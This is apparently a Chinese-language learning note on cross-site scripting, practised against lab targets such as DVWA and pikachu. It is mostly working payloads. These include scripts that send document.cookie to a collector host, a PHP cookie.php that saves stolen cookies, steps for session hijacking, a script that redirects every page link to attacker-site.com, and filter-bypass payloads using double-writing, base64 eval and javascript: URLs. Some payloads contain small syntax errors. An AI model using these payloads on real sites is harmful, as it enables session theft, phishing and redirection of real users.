1.XSS盗取cookie存在反射型XSS漏洞的站点位置可以利用以下链接来盗取Cookie
url?uname=<script>document.location=http://ip/cookie="+document.cookie:</script>
将链接发送到用户,用户点击即触发XSS漏洞。同时可以使用RL编码迷惑用户
cookie.php代码:
<?php $cookie=$_GET['cookie']; file_put_contents('cookie.txt',$cookie);
?>
http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name= <script>document.location='http://127.0.0.1/xss_test/cookie.php?
cookie='+document.cookie</script>#
打开cookie.txt文件,找到cookie值,访问目标站点,修改cookie为cookie.txt文件中的内容。会话会自动劫持。 在第一台服务器上写入cookie.php 在pikachu上留言框输入代码
<script>
document.location='http://192.168.56.1/cookie.php?cookie=' + document.cookie
</script>
页面跳转(因为是存储型,所以每次点击页面都会发送一遍cookie) 2.XSS篡改网页链接 攻击JS代码介绍 window.onload 当窗口加载时,执行匿名函数。使用for循环遍历所有获得的链接a标签。
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");
for(j = 0; j < link.length; j++)
{ link[j].href="http://attacker-site.com/";} }
</script>
以百度为例 在输入框输入
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");
for(j = 0; j < link.length; j++)
{ link[j].href="http://www.baidu.com";} }
</script>
发现链接被替换,点击链接会转向百度 3.XSS盗取用户信息 克隆网站登录页面,利用存储型XSS设置跳转代码,如果用户访问即跳转到克隆网站的登陆页面,用户输入登陆,账号密码就被存储。 实践感觉有点难,算惹,放弃,摆烂 4.没有过滤的XSS 探测xss的过程 1、构造一个独一无二且不会被识别为恶意代码的字符串用来提交到页面。例如:123qweasdzxc 2、使用浏览器审查工具进行代码审查,寻找构造的字符串是否在页面中显示。闭合标签利用XSS或在属性中的XSS闭合引入事件 5.限制输入长度的XSS
HTML表单用于搜集不同类型的用户输入。表单元素指的是不同类型的input元素、复选框、单选按钮、提交按钮等等。text定义常规文本输入。
属性介绍: value 属性规定输入字段的初始值 readonly 属性规定输入字段为只读不能修改) disabled 属性规定输入字段是禁用的。被禁用的元素是不可用和不可点击的。被禁用的元素不会被提交。 size 属性规定输入字段的尺寸(以字符计)
maxlength 属性规定输入字段允许的最大长度 如设置 maxlength属性,则输入控件不会接受超过所允许数的字符。该属性不会提供任何反馈。如果需要提醒用户,则必须编写 JavaScript 代码
6.Javascript伪代码的XSS javascript伪代码介绍 将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的伪协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。如果javascript:URL中的javascript代码含有多个语句,必须将分号将这些语句分割开。 例如
javascript:var now = new Date(); "<h1>The time is:</h1>" + now;
javascript URL还可以含有只执行动作,但不返回的javascript语句。 例如
javascript:alert("hello world")
javascript:alert(document.domain)
7.绕过过滤domain空的XSS
构造payload: "> <script>alert(document.domain);</script>
发现domain被过滤为空 思考绕过策略: 双写绕过 编码绕过
双写绕过
Payload: “> <script>alert(document.dodomainmain);</script>
编码绕过
Payload: "><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
8.绕过替换script和on事件的XSS
构造pyload:"> <script>alert(document.domain);</script>
发现script被过滤为空 思考绕过策略
伪协议绕过
pyload:"> <a href="javascript:alert(document.domain)">xss</a>
空格绕过
pyload: "><a href="javascr ipt:alert(document.domain);">xss</a>"<a
|